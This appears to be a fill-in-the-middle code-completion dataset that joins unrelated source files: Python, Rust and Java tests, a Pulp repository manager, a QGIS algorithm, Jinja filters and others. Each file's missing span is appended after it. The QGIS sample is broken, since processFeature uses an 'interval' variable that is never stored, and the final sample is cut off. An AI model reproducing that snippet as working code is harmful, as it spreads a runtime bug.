<|file_name|>test_shuffle.py<|end_file_name|><|fim▁begin|>import dask.dataframe as dd import pandas.util.testing as tm import pandas as pd from dask.dataframe.shuffle import shuffle import partd from dask.async import get_sync dsk = {('x', 0): pd.DataFrame({'a': [1, 2, 3], 'b': [1, 4, 7]}, index=[0, 1, 3]), ('x', 1): pd.DataFrame({'a': [4, 5, 6], 'b': [2, 5, 8]}, index=[5, 6, 8]), ('x', 2): pd.DataFrame({'a': [7, 8, 9], 'b': [3, 6, 9]}, index=[9, 9, 9])} d = dd.DataFrame(dsk, 'x', ['a', 'b'], [0, 4, 9, 9]) full = d.compute() def test_shuffle(): s = shuffle(d, d.b, npartitions=2) assert isinstance(s, dd.DataFrame) assert s.npartitions == 2 x = get_sync(s.dask, (s._name, 0)) y = get_sync(s.dask, (s._name, 1)) <|fim▁hole|> def test_default_partitions(): assert shuffle(d, d.b).npartitions == d.npartitions def test_index_with_non_series(): tm.assert_frame_equal(shuffle(d, d.b).compute(), shuffle(d, 'b').compute()) def test_index_with_dataframe(): assert sorted(shuffle(d, d[['b']]).compute().values.tolist()) ==\ sorted(shuffle(d, ['b']).compute().values.tolist()) ==\ sorted(shuffle(d, 'b').compute().values.tolist()) def test_shuffle_from_one_partition_to_one_other(): df = pd.DataFrame({'x': [1, 2, 3]}) a = dd.from_pandas(df, 1) for i in [1, 2]: b = shuffle(a, 'x', i) assert len(a.compute(get=get_sync)) == len(b.compute(get=get_sync))<|fim▁end|>
assert not (set(x.b) & set(y.b)) # disjoint assert shuffle(d, d.b, npartitions=2)._name == shuffle(d, d.b, npartitions=2)._name
<|file_name|>unit_association.py<|end_file_name|><|fim▁begin|>""" Contains the manager class and exceptions for handling the mappings between repositories and content units. """ from gettext import gettext as _ import logging import sys from celery import task import pymongo from pulp.plugins.conduits.unit_import import ImportUnitConduit from pulp.plugins.config import PluginCallConfiguration from pulp.plugins.loader import api as plugin_api from pulp.server.async.tasks import Task from pulp.server.db.model.criteria import UnitAssociationCriteria from pulp.server.db.model.repository import RepoContentUnit import pulp.plugins.conduits._common as conduit_common_utils import pulp.plugins.types.database as types_db import pulp.server.exceptions as exceptions import pulp.server.managers.factory as manager_factory import pulp.server.managers.repo._common as common_utils # Shadowed here to remove the need for the caller to import RepoContentUnit # to get access to them OWNER_TYPE_IMPORTER = RepoContentUnit.OWNER_TYPE_IMPORTER OWNER_TYPE_USER = RepoContentUnit.OWNER_TYPE_USER _OWNER_TYPES = (OWNER_TYPE_IMPORTER, OWNER_TYPE_USER) # Valid sort strings SORT_TYPE_ID = 'type_id' SORT_OWNER_TYPE = 'owner_type' SORT_OWNER_ID = 'owner_id' SORT_CREATED = 'created' SORT_UPDATED = 'updated' _VALID_SORTS = (SORT_TYPE_ID, SORT_OWNER_TYPE, SORT_OWNER_ID, SORT_CREATED, SORT_UPDATED) SORT_ASCENDING = pymongo.ASCENDING SORT_DESCENDING = pymongo.DESCENDING _VALID_DIRECTIONS = (SORT_ASCENDING, SORT_DESCENDING) logger = logging.getLogger(__name__) class RepoUnitAssociationManager(object): """ Manager used to handle the associations between repositories and content units. The functionality provided within assumes the repo and units have been created outside of this manager. """ def associate_unit_by_id(self, repo_id, unit_type_id, unit_id, owner_type, owner_id, update_repo_metadata=True): """ Creates an association between the given repository and content unit. If there is already an association between the given repo and content unit where all other metadata matches the input to this method, this call has no effect. Both repo and unit must exist in the database prior to this call, however this call will not verify that for performance reasons. Care should be taken by the caller to preserve the data integrity. @param repo_id: identifies the repo @type repo_id: str @param unit_type_id: identifies the type of unit being added @type unit_type_id: str @param unit_id: uniquely identifies the unit within the given type @type unit_id: str @param owner_type: category of the caller making the association; must be one of the OWNER_* variables in this module @type owner_type: str @param owner_id: identifies the caller making the association, either the importer ID or user login @type owner_id: str @param update_repo_metadata: if True, updates the unit association count after the new association is made. The last unit added field will also be updated. Set this to False when doing bulk associations, and make one call to update the count at the end. defaults to True @type update_repo_metadata: bool @raise InvalidType: if the given owner type is not of the valid enumeration """ if owner_type not in _OWNER_TYPES: raise exceptions.InvalidValue(['owner_type']) # If the association already exists, no need to do anything else spec = {'repo_id': repo_id, 'unit_id': unit_id, 'unit_type_id': unit_type_id} existing_association = RepoContentUnit.get_collection().find_one(spec) if existing_association is not None: return similar_exists = False if update_repo_metadata:<|fim▁hole|> association = RepoContentUnit(repo_id, unit_id, unit_type_id, owner_type, owner_id) RepoContentUnit.get_collection().save(association, safe=True) manager = manager_factory.repo_manager() # update the count of associated units on the repo object if update_repo_metadata and not similar_exists: manager.update_unit_count(repo_id, unit_type_id, 1) # update the record for the last added field manager.update_last_unit_added(repo_id) def associate_all_by_ids(self, repo_id, unit_type_id, unit_id_list, owner_type, owner_id): """ Creates multiple associations between the given repo and content units. See associate_unit_by_id for semantics. @param repo_id: identifies the repo @type repo_id: str @param unit_type_id: identifies the type of unit being added @type unit_type_id: str @param unit_id_list: list or generator of unique identifiers for units within the given type @type unit_id_list: list or generator of str @param owner_type: category of the caller making the association; must be one of the OWNER_* variables in this module @type owner_type: str @param owner_id: identifies the caller making the association, either the importer ID or user login @type owner_id: str :return: number of new units added to the repo :rtype: int @raise InvalidType: if the given owner type is not of the valid enumeration """ # There may be a way to batch this in mongo which would be ideal for a # bulk operation like this. But for deadline purposes, this call will # simply loop and call the single method. unique_count = 0 for unit_id in unit_id_list: if not RepoUnitAssociationManager.association_exists(repo_id, unit_id, unit_type_id): unique_count += 1 self.associate_unit_by_id(repo_id, unit_type_id, unit_id, owner_type, owner_id, False) # update the count of associated units on the repo object if unique_count: manager_factory.repo_manager().update_unit_count( repo_id, unit_type_id, unique_count) # update the timestamp for when the units were added to the repo manager_factory.repo_manager().update_last_unit_added(repo_id) return unique_count @staticmethod def associate_from_repo(source_repo_id, dest_repo_id, criteria=None, import_config_override=None): """ Creates associations in a repository based on the contents of a source repository. Units from the source repository can be filtered by specifying a criteria object. The destination repository must have an importer that can support the types of units being associated. This is done by analyzing the unit list and the importer metadata and takes place before the destination repository is called. Pulp does not actually perform the associations as part of this call. The unit list is determined and passed to the destination repository's importer. It is the job of the importer to make the associate calls back into Pulp where applicable. If criteria is None, the effect of this call is to copy the source repository's associations into the destination repository. :param source_repo_id: identifies the source repository :type source_repo_id: str :param dest_repo_id: identifies the destination repository :type dest_repo_id: str :param criteria: optional; if specified, will filter the units retrieved from the source repository :type criteria: UnitAssociationCriteria :param import_config_override: optional config containing values to use for this import only :type import_config_override: dict :return: dict with key 'units_successful' whose value is a list of unit keys that were copied. units that were associated by this operation :rtype: dict :raise MissingResource: if either of the specified repositories don't exist """ # Validation repo_query_manager = manager_factory.repo_query_manager() importer_manager = manager_factory.repo_importer_manager() source_repo = repo_query_manager.get_repository(source_repo_id) dest_repo = repo_query_manager.get_repository(dest_repo_id) # This will raise MissingResource if there isn't one, which is the # behavior we want this method to exhibit, so just let it bubble up. dest_repo_importer = importer_manager.get_importer(dest_repo_id) source_repo_importer = importer_manager.get_importer(source_repo_id) # The docs are incorrect on the list_importer_types call; it actually # returns a dict with the types under key "types" for some reason. supported_type_ids = plugin_api.list_importer_types( dest_repo_importer['importer_type_id'])['types'] # If criteria is specified, retrieve the list of units now associate_us = None if criteria is not None: associate_us = load_associated_units(source_repo_id, criteria) # If units were supposed to be filtered but none matched, we're done if len(associate_us) == 0: # Return an empty list to indicate nothing was copied return {'units_successful': []} # Now we can make sure the destination repository's importer is capable # of importing either the selected units or all of the units associated_unit_type_ids = calculate_associated_type_ids(source_repo_id, associate_us) unsupported_types = [t for t in associated_unit_type_ids if t not in supported_type_ids] if len(unsupported_types) > 0: raise exceptions.InvalidValue(['types']) # Convert all of the units into the plugin standard representation if # a filter was specified transfer_units = None if associate_us is not None: transfer_units = create_transfer_units(associate_us, associated_unit_type_ids) # Convert the two repos into the plugin API model transfer_dest_repo = common_utils.to_transfer_repo(dest_repo) transfer_dest_repo.working_dir = common_utils.importer_working_dir( dest_repo_importer['importer_type_id'], dest_repo['id'], mkdir=True) transfer_source_repo = common_utils.to_transfer_repo(source_repo) transfer_source_repo.working_dir = common_utils.importer_working_dir( source_repo_importer['importer_type_id'], source_repo['id'], mkdir=True) # Invoke the importer importer_instance, plugin_config = plugin_api.get_importer_by_id( dest_repo_importer['importer_type_id']) call_config = PluginCallConfiguration(plugin_config, dest_repo_importer['config'], import_config_override) login = manager_factory.principal_manager().get_principal()['login'] conduit = ImportUnitConduit( source_repo_id, dest_repo_id, source_repo_importer['id'], dest_repo_importer['id'], RepoContentUnit.OWNER_TYPE_USER, login) try: copied_units = importer_instance.import_units( transfer_source_repo, transfer_dest_repo, conduit, call_config, units=transfer_units) unit_ids = [u.to_id_dict() for u in copied_units] return {'units_successful': unit_ids} except Exception: msg = _('Exception from importer [%(i)s] while importing units into repository [%(r)s]') msg = msg % {'i': dest_repo_importer['importer_type_id'], 'r': dest_repo_id} logger.exception(msg) raise exceptions.PulpExecutionException(), None, sys.exc_info()[2] def unassociate_unit_by_id(self, repo_id, unit_type_id, unit_id, owner_type, owner_id, notify_plugins=True): """ Removes the association between a repo and the given unit. Only the association made by the given owner will be removed. It is possible the repo will still have a manually created association will for the unit. If no association exists between the repo and unit, this call has no effect. @param repo_id: identifies the repo @type repo_id: str @param unit_type_id: identifies the type of unit being removed @type unit_type_id: str @param unit_id: uniquely identifies the unit within the given type @type unit_id: str @param owner_type: category of the caller who created the association; must be one of the OWNER_* variables in this module @type owner_type: str @param owner_id: identifies the caller who created the association, either the importer ID or user login @type owner_id: str @param notify_plugins: if true, relevant plugins will be informed of the removal @type notify_plugins: bool """ return self.unassociate_all_by_ids(repo_id, unit_type_id, [unit_id], owner_type, owner_id, notify_plugins=notify_plugins) def unassociate_all_by_ids(self, repo_id, unit_type_id, unit_id_list, owner_type, owner_id, notify_plugins=True): """ Removes the association between a repo and a number of units. Only the association made by the given owner will be removed. It is possible the repo will still have a manually created association will for the unit. @param repo_id: identifies the repo @type repo_id: str @param unit_type_id: identifies the type of units being removed @type unit_type_id: str @param unit_id_list: list of unique identifiers for units within the given type @type unit_id_list: list of str @param owner_type: category of the caller who created the association; must be one of the OWNER_* variables in this module @type owner_type: str @param owner_id: identifies the caller who created the association, either the importer ID or user login @type owner_id: str @param notify_plugins: if true, relevant plugins will be informed of the removal @type notify_plugins: bool """ association_filters = {'unit_id': {'$in': unit_id_list}} criteria = UnitAssociationCriteria(type_ids=[unit_type_id], association_filters=association_filters) return self.unassociate_by_criteria(repo_id, criteria, owner_type, owner_id, notify_plugins=notify_plugins) @staticmethod def unassociate_by_criteria(repo_id, criteria, owner_type, owner_id, notify_plugins=True): """ Unassociate units that are matched by the given criteria. :param repo_id: identifies the repo :type repo_id: str :param criteria: :param owner_type: category of the caller who created the association :type owner_type: str :param owner_id: identifies the call who created the association :type owner_id: str :param notify_plugins: if true, relevant plugins will be informed of the removal :type notify_plugins: bool """ association_query_manager = manager_factory.repo_unit_association_query_manager() unassociate_units = association_query_manager.get_units(repo_id, criteria=criteria) if len(unassociate_units) == 0: return {} unit_map = {} # maps unit_type_id to a list of unit_ids for unit in unassociate_units: id_list = unit_map.setdefault(unit['unit_type_id'], []) id_list.append(unit['unit_id']) collection = RepoContentUnit.get_collection() repo_manager = manager_factory.repo_manager() for unit_type_id, unit_ids in unit_map.items(): spec = {'repo_id': repo_id, 'unit_type_id': unit_type_id, 'unit_id': {'$in': unit_ids} } collection.remove(spec, safe=True) unique_count = sum( 1 for unit_id in unit_ids if not RepoUnitAssociationManager.association_exists( repo_id, unit_id, unit_type_id)) if not unique_count: continue repo_manager.update_unit_count(repo_id, unit_type_id, -unique_count) repo_manager.update_last_unit_removed(repo_id) # Convert the units into transfer units. This happens regardless of whether or not # the plugin will be notified as it's used to generate the return result, unit_type_ids = calculate_associated_type_ids(repo_id, unassociate_units) transfer_units = create_transfer_units(unassociate_units, unit_type_ids) if notify_plugins: remove_from_importer(repo_id, transfer_units) # Match the return type/format as copy serializable_units = [u.to_id_dict() for u in transfer_units] return {'units_successful': serializable_units} @staticmethod def association_exists(repo_id, unit_id, unit_type_id): """ Determines if an identical association already exists. I know the order of arguments does not match other methods in this module, but it does match the constructor for the RepoContentUnit object, which I think is the higher authority. @param repo_id: identifies the repo @type repo_id: str @param unit_type_id: identifies the type of unit being removed @type unit_type_id: str @param unit_id: uniquely identifies the unit within the given type @type unit_id: str @return: True if unique else False @rtype: bool """ spec = { 'repo_id': repo_id, 'unit_id': unit_id, 'unit_type_id': unit_type_id, } unit_coll = RepoContentUnit.get_collection() existing_count = unit_coll.find(spec).count() return bool(existing_count) associate_from_repo = task(RepoUnitAssociationManager.associate_from_repo, base=Task) unassociate_by_criteria = task(RepoUnitAssociationManager.unassociate_by_criteria, base=Task) def load_associated_units(source_repo_id, criteria): criteria.association_fields = None # Retrieve the units to be associated association_query_manager = manager_factory.repo_unit_association_query_manager() associate_us = association_query_manager.get_units(source_repo_id, criteria=criteria) return associate_us def calculate_associated_type_ids(source_repo_id, associated_units): if associated_units is not None: associated_unit_type_ids = set([u['unit_type_id'] for u in associated_units]) else: association_query_manager = manager_factory.repo_unit_association_query_manager() associated_unit_type_ids = association_query_manager.unit_type_ids_for_repo(source_repo_id) return associated_unit_type_ids def create_transfer_units(associate_units, associated_unit_type_ids): type_defs = {} for def_id in associated_unit_type_ids: type_def = types_db.type_definition(def_id) type_defs[def_id] = type_def transfer_units = [] for unit in associate_units: type_id = unit['unit_type_id'] u = conduit_common_utils.to_plugin_associated_unit(unit, type_defs[type_id]) transfer_units.append(u) return transfer_units def remove_from_importer(repo_id, transfer_units): # Retrieve the repo from the database and convert to the transfer repo repo_query_manager = manager_factory.repo_query_manager() repo = repo_query_manager.get_repository(repo_id) importer_manager = manager_factory.repo_importer_manager() repo_importer = importer_manager.get_importer(repo_id) transfer_repo = common_utils.to_transfer_repo(repo) transfer_repo.working_dir = common_utils.importer_working_dir(repo_importer['importer_type_id'], repo_id, mkdir=True) # Retrieve the plugin instance to invoke importer_instance, plugin_config = plugin_api.get_importer_by_id( repo_importer['importer_type_id']) call_config = PluginCallConfiguration(plugin_config, repo_importer['config']) # Invoke the importer's remove method try: importer_instance.remove_units(transfer_repo, transfer_units, call_config) except Exception: msg = _('Exception from importer [%(i)s] while removing units from repo [%(r)s]') msg = msg % {'i': repo_importer['id'], 'r': repo_id} logger.exception(msg) # Do not raise the exception; this should not block the removal and is # intended to be more informational to the plugin rather than a requirement<|fim▁end|>
similar_exists = RepoUnitAssociationManager.association_exists(repo_id, unit_id, unit_type_id) # Create the database entry
<|file_name|>lib.rs<|end_file_name|><|fim▁begin|>extern crate lexer; use lexer::{Item, StateFn, Lexer}; #[derive(Debug, PartialEq)] pub enum ItemType { Comma, Text, Comment, EOF } fn lex_text(l: &mut Lexer<ItemType>) -> Option<StateFn<ItemType>> { loop { if l.remaining_input().starts_with("//") { l.emit_nonempty(ItemType::Text);<|fim▁hole|> } match l.next() { None => break, Some(',') => { l.backup(); l.emit_nonempty(ItemType::Text); l.next(); l.emit(ItemType::Comma); }, Some(_) => {}, } } l.emit_nonempty(ItemType::Text); l.emit(ItemType::EOF); None } fn lex_comment(l: &mut Lexer<ItemType>) -> Option<StateFn<ItemType>> { loop { match l.next() { None => break, Some('\n') => { l.backup(); l.emit_nonempty(ItemType::Comment); l.next(); l.ignore(); return Some(StateFn(lex_text)); }, Some(_) => {}, } } l.emit_nonempty(ItemType::Comment); l.emit(ItemType::EOF); None } #[test] fn test_lexer() { let data = "foo,bar,baz // some comment\nfoo,bar"; let items = lexer::lex(data, lex_text); let expected_items = vec!( Item{typ: ItemType::Text, val: "foo", col: 1, lineno: 1}, Item{typ: ItemType::Comma, val: ",", col: 4, lineno: 1}, Item{typ: ItemType::Text, val: "bar", col: 5, lineno: 1}, Item{typ: ItemType::Comma, val: ",", col: 8, lineno: 1}, Item{typ: ItemType::Text, val: "baz ", col: 9, lineno: 1}, Item{typ: ItemType::Comment, val: "// some comment", col: 13, lineno: 1}, Item{typ: ItemType::Text, val: "foo", col: 1, lineno: 2}, Item{typ: ItemType::Comma, val: ",", col: 4, lineno: 2}, Item{typ: ItemType::Text, val: "bar", col: 5, lineno: 2}, Item{typ: ItemType::EOF, val: "", col: 8, lineno: 2} ); for (item, expected) in items.iter().zip(expected_items.iter()) { println!("ITEM: {:?}", item); assert_eq!(item, expected); } assert_eq!(items, expected_items); }<|fim▁end|>
l.next(); return Some(StateFn(lex_comment));
<|file_name|>SynchroDomainScheduler.java<|end_file_name|><|fim▁begin|>/** * Copyright (C) 2000 - 2011 Silverpeas *<|fim▁hole|> * * As a special exception to the terms and conditions of version 3.0 of * the GPL, you may redistribute this Program in connection with Free/Libre * Open Source Software ("FLOSS") applications as described in Silverpeas's * FLOSS exception. You should have received a copy of the text describing * the FLOSS exception, and it is also available here: * "http://repository.silverpeas.com/legal/licensing" * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.stratelia.webactiv.beans.admin; import java.util.ArrayList; import java.util.List; import com.silverpeas.scheduler.Scheduler; import com.silverpeas.scheduler.SchedulerEvent; import com.silverpeas.scheduler.SchedulerEventListener; import com.silverpeas.scheduler.SchedulerFactory; import com.silverpeas.scheduler.trigger.JobTrigger; import com.stratelia.silverpeas.silvertrace.SilverTrace; public class SynchroDomainScheduler implements SchedulerEventListener { public static final String ADMINSYNCHRODOMAIN_JOB_NAME = "AdminSynchroDomainJob"; private List<String> domainIds = null; public void initialize(String cron, List<String> domainIds) { try { this.domainIds = domainIds; SchedulerFactory schedulerFactory = SchedulerFactory.getFactory(); Scheduler scheduler = schedulerFactory.getScheduler(); scheduler.unscheduleJob(ADMINSYNCHRODOMAIN_JOB_NAME); JobTrigger trigger = JobTrigger.triggerAt(cron); scheduler.scheduleJob(ADMINSYNCHRODOMAIN_JOB_NAME, trigger, this); } catch (Exception e) { SilverTrace.error("admin", "SynchroDomainScheduler.initialize()", "admin.CANT_INIT_DOMAINS_SYNCHRO", e); } } public void addDomain(String id) { if (domainIds == null) { domainIds = new ArrayList<String>(); } domainIds.add(id); } public void removeDomain(String id) { if (domainIds != null) { domainIds.remove(id); } } public void doSynchro() { SilverTrace.info("admin", "SynchroDomainScheduler.doSynchro()", "root.MSG_GEN_ENTER_METHOD"); if (domainIds != null) { for (String domainId : domainIds) { try { AdminReference.getAdminService().synchronizeSilverpeasWithDomain(domainId, true); } catch (Exception e) { SilverTrace.error("admin", "SynchroDomainScheduler.doSynchro()", "admin.MSG_ERR_SYNCHRONIZE_DOMAIN", e); } } } SilverTrace.info("admin", "SynchroDomainScheduler.doSynchro()", "root.MSG_GEN_EXIT_METHOD"); } @Override public void triggerFired(SchedulerEvent anEvent) { String jobName = anEvent.getJobExecutionContext().getJobName(); SilverTrace.debug("admin", "SynchroDomainScheduler.triggerFired()", "The job '" + jobName + "' is executed"); doSynchro(); } @Override public void jobSucceeded(SchedulerEvent anEvent) { String jobName = anEvent.getJobExecutionContext().getJobName(); SilverTrace.debug("admin", "SynchroDomainScheduler.jobSucceeded()", "The job '" + jobName + "' was successfull"); } @Override public void jobFailed(SchedulerEvent anEvent) { String jobName = anEvent.getJobExecutionContext().getJobName(); SilverTrace.error("admin", "SynchroDomainScheduler.jobFailed", "The job '" + jobName + "' was not successfull"); } }<|fim▁end|>
* This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version.
<|file_name|>AbstractETApiService.java<|end_file_name|><|fim▁begin|>package com.iservport.et.service; import java.nio.charset.Charset; import org.apache.commons.codec.binary.Base64; import org.springframework.http.HttpHeaders; import org.springframework.web.util.UriComponentsBuilder; /** <|fim▁hole|> * Base class to Enterprise tester API calls. * * @author mauriciofernandesdecastro */ public class AbstractETApiService { private String scheme = "http"; private String host = "et2.primecontrol.com.br"; private int port = 8807; private String app = "/EnterpriseTester"; protected final UriComponentsBuilder getApiUriBuilder() { return UriComponentsBuilder.newInstance().scheme(scheme).host(host).port(port).path(app); } /** * Basic headers (for testing). * * @param username * @param password */ @SuppressWarnings("serial") protected HttpHeaders createHeaders(final String username, final String password ){ return new HttpHeaders(){ { String auth = username + ":" + password; byte[] encodedAuth = Base64.encodeBase64( auth.getBytes(Charset.forName("US-ASCII")) ); String authHeader = "Basic " + new String( encodedAuth ); set( "Authorization", authHeader ); } }; } }<|fim▁end|>
<|file_name|>DensifyGeometriesInterval.py<|end_file_name|><|fim▁begin|># -*- coding: utf-8 -*- """ *************************************************************************** DensifyGeometriesInterval.py by Anita Graser, Dec 2012 based on DensifyGeometries.py --------------------- Date : October 2012 Copyright : (C) 2012 by Victor Olaya Email : volayaf at gmail dot com *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * *************************************************************************** """ from builtins import range __author__ = 'Anita Graser' __date__ = 'Dec 2012' __copyright__ = '(C) 2012, Anita Graser' # This will get replaced with a git SHA1 when you do a git archive __revision__ = '$Format:%H$' from qgis.core import (QgsProcessingParameterNumber) from processing.algs.qgis.QgisAlgorithm import QgisFeatureBasedAlgorithm class DensifyGeometriesInterval(QgisFeatureBasedAlgorithm): INTERVAL = 'INTERVAL' def group(self): return self.tr('Vector geometry') def __init__(self): super().__init__() self.interval = None def initParameters(self, config=None): self.addParameter(QgsProcessingParameterNumber(self.INTERVAL, self.tr('Interval between vertices to add'), QgsProcessingParameterNumber.Double, 1, False, 0, 10000000)) def name(self): return 'densifygeometriesgivenaninterval' def displayName(self):<|fim▁hole|> def prepareAlgorithm(self, parameters, context, feedback): interval = self.parameterAsDouble(parameters, self.INTERVAL, context) return True def processFeature(self, feature, feedback): if feature.hasGeometry(): new_geometry = feature.geometry().densifyByDistance(float(interval)) feature.setGeometry(new_geometry) return feature<|fim▁end|>
return self.tr('Densify geometries given an interval') def outputName(self): return self.tr('Densified')
<|file_name|>GlobalSearch.js<|end_file_name|><|fim▁begin|>import React, { Component, PropTypes } from 'react' import { Search, Grid } from 'semantic-ui-react' import { browserHistory } from 'react-router' import Tag from './Tag' import { search, setQuery, clearSearch } from '../actions/entities' import { MIN_CHARACTERS, DONE_TYPING_INTERVAL } from '../constants/search' const propTypes = { dispatch: PropTypes.func.isRequired, search: PropTypes.object.isRequired } const resultRenderer = ({ name, type, screenshots }) => { return ( <Grid> <Grid.Column floated="left" width={12}> <Tag name={name} type={type} /> </Grid.Column> <Grid.Column floated="right" width={4} textAlign="right"> <small className="text grey">{screenshots.length}</small> </Grid.Column> </Grid> ) } class GlobalSearch extends Component { state = { typingTimer: null } handleSearchChange = (e, value) => { clearTimeout(this.state.typingTimer) this.setState({ typingTimer: setTimeout( () => this.handleDoneTyping(value.trim()), DONE_TYPING_INTERVAL<|fim▁hole|> } handleDoneTyping = value => { if (value.length < MIN_CHARACTERS) return const { dispatch } = this.props dispatch(search({ query: value })) } handleResultSelect = (e, item) => { const { dispatch } = this.props const { name } = item dispatch(clearSearch()) browserHistory.push(`/tag/${name}`) } render() { const { search } = this.props const { query, results } = search return ( <Search minCharacters={MIN_CHARACTERS} onSearchChange={this.handleSearchChange} onResultSelect={this.handleResultSelect} resultRenderer={resultRenderer} results={results} value={query} /> ) } } GlobalSearch.propTypes = propTypes export default GlobalSearch<|fim▁end|>
) }) const { dispatch } = this.props dispatch(setQuery(value))
<|file_name|>dfs_solution.py<|end_file_name|><|fim▁begin|>import sys n, m = map(int, raw_input().strip().split()) v1, v2 = map(int, raw_input().strip().split()) x, y = map(int, raw_input().strip().split()) route_map = {} distance_map = {} def get_edge_name(x, y): if x > y: x, y = y, x return str(x) + '_' + str(y) def get_edge_distance(x,y): edge_name = get_edge_name(x,y)<|fim▁hole|> return 0 else: return distance_map[edge_name][0] def bike_allowed(x,y): edge_name = get_edge_name(x,y) if edge_name in distance_map: return distance_map[edge_name][1] else: return -1 for _ in xrange(m): r1, r2, d1, b1 = map(int, raw_input().strip().split()) route_map[r1] = route_map.get(r1, []) route_map[r1].append(r2) route_map[r2] = route_map.get(r2, []) route_map[r2].append(r1) distance_map[get_edge_name(r1, r2)] = [d1, b1] def get_min_bike_time(x, y, dist_acc=0, visited_nodes=[]): if x not in route_map or x == y: return sys.maxsize visited_nodes.append(x) dist_direct = sys.maxsize if y in route_map[x] and bike_allowed(x,y) == 0: dist_direct = dist_acc + get_edge_distance(x,y) if True: dist = [dist_direct] for elem in route_map[x]: if bike_allowed(x, elem) == 0 and elem not in visited_nodes: dist.append(get_min_bike_time(elem, y, dist_acc + get_edge_distance(x, elem), visited_nodes)) else: continue return (min(dist) if len(dist) else sys.maxsize) def get_min_cycle_time(x, y, dist_acc=0, visited_nodes=[]): if x not in route_map or x == y: return sys.maxsize visited_nodes.append(x) dist_direct = sys.maxsize if y in route_map[x]: dist_direct = dist_acc + get_edge_distance(x,y) if True: dist = [dist_direct] for elem in route_map[x] : if bike_allowed(x, elem) != -1 and elem not in visited_nodes: dist.append(get_min_cycle_time(elem, y, dist_acc + get_edge_distance(x, elem), visited_nodes)) else: continue return (min(dist) if len(dist) else sys.maxsize) cycle = get_min_cycle_time(x,y) bike = get_min_bike_time(x,y) cycle_time = cycle/float(v1) bike_time = bike/float(v2) print '------------------' print bike, cycle print bike_time, cycle_time<|fim▁end|>
if edge_name not in distance_map:
<|file_name|>task_arc_wake.rs<|end_file_name|><|fim▁begin|>use futures::task::{self, ArcWake, Waker}; use std::panic; use std::sync::{Arc, Mutex}; struct CountingWaker { nr_wake: Mutex<i32>, } impl CountingWaker { fn new() -> Self { Self { nr_wake: Mutex::new(0) } } fn wakes(&self) -> i32 { *self.nr_wake.lock().unwrap() } } impl ArcWake for CountingWaker { fn wake_by_ref(arc_self: &Arc<Self>) { let mut lock = arc_self.nr_wake.lock().unwrap(); *lock += 1; } } #[test] fn create_from_arc() { let some_w = Arc::new(CountingWaker::new()); let w1: Waker = task::waker(some_w.clone()); assert_eq!(2, Arc::strong_count(&some_w)); w1.wake_by_ref(); assert_eq!(1, some_w.wakes()); let w2 = w1.clone(); assert_eq!(3, Arc::strong_count(&some_w)); w2.wake_by_ref(); assert_eq!(2, some_w.wakes()); drop(w2); assert_eq!(2, Arc::strong_count(&some_w)); drop(w1); assert_eq!(1, Arc::strong_count(&some_w)); } #[test] fn ref_wake_same() { let some_w = Arc::new(CountingWaker::new()); let w1: Waker = task::waker(some_w.clone()); let w2 = task::waker_ref(&some_w); let w3 = w2.clone(); assert!(w1.will_wake(&w2)); assert!(w2.will_wake(&w3)); } #[test] fn proper_refcount_on_wake_panic() { struct PanicWaker; impl ArcWake for PanicWaker {<|fim▁hole|> } } let some_w = Arc::new(PanicWaker); let w1: Waker = task::waker(some_w.clone()); assert_eq!( "WAKE UP", *panic::catch_unwind(|| w1.wake_by_ref()).unwrap_err().downcast::<&str>().unwrap() ); assert_eq!(2, Arc::strong_count(&some_w)); // some_w + w1 drop(w1); assert_eq!(1, Arc::strong_count(&some_w)); // some_w }<|fim▁end|>
fn wake_by_ref(_arc_self: &Arc<Self>) { panic!("WAKE UP");
<|file_name|>jinja_filters.py<|end_file_name|><|fim▁begin|>import re from jinja2 import Markup, escape, evalcontextfilter<|fim▁hole|> @app.template_filter('nl2br') @evalcontextfilter def nl2br(eval_ctx, value): result = u'\n\n'.join(u'<p>%s</p>' % p.replace('\n', '<br>\n') for p in _paragraph_re.split(escape(value))) if eval_ctx.autoescape: result = Markup(result) return result<|fim▁end|>
from app import app _paragraph_re = re.compile(r'(?:\r\n|\r|\n){2,}')
<|file_name|>IQsMetadataManager.java<|end_file_name|><|fim▁begin|>package queue; /** * Queue server metadata manager. * * @author Thanh Nguyen <[email protected]> * @since 0.1.0 */<|fim▁hole|><|fim▁end|>
public interface IQsMetadataManager { }
<|file_name|>test_rank.py<|end_file_name|><|fim▁begin|>import numpy as np from numpy.testing import assert_equal, assert_array_equal from scipy.stats import rankdata, tiecorrect class TestTieCorrect(object): def test_empty(self): """An empty array requires no correction, should return 1.0.""" ranks = np.array([], dtype=np.float64) c = tiecorrect(ranks) assert_equal(c, 1.0) def test_one(self): """A single element requires no correction, should return 1.0.""" ranks = np.array([1.0], dtype=np.float64) c = tiecorrect(ranks) assert_equal(c, 1.0) def test_no_correction(self): """Arrays with no ties require no correction.""" ranks = np.arange(2.0) c = tiecorrect(ranks) assert_equal(c, 1.0) ranks = np.arange(3.0) c = tiecorrect(ranks) assert_equal(c, 1.0) def test_basic(self): """Check a few basic examples of the tie correction factor.""" # One tie of two elements ranks = np.array([1.0, 2.5, 2.5]) c = tiecorrect(ranks) T = 2.0 N = ranks.size expected = 1.0 - (T**3 - T) / (N**3 - N) assert_equal(c, expected) # One tie of two elements (same as above, but tie is not at the end) ranks = np.array([1.5, 1.5, 3.0]) c = tiecorrect(ranks) T = 2.0 N = ranks.size expected = 1.0 - (T**3 - T) / (N**3 - N) assert_equal(c, expected) # One tie of three elements ranks = np.array([1.0, 3.0, 3.0, 3.0]) c = tiecorrect(ranks) T = 3.0 N = ranks.size expected = 1.0 - (T**3 - T) / (N**3 - N) assert_equal(c, expected) # Two ties, lengths 2 and 3. ranks = np.array([1.5, 1.5, 4.0, 4.0, 4.0]) c = tiecorrect(ranks) T1 = 2.0 T2 = 3.0 N = ranks.size expected = 1.0 - ((T1**3 - T1) + (T2**3 - T2)) / (N**3 - N) assert_equal(c, expected) def test_overflow(self): ntie, k = 2000, 5 a = np.repeat(np.arange(k), ntie)<|fim▁hole|> assert_equal(out, 1.0 - k * (ntie**3 - 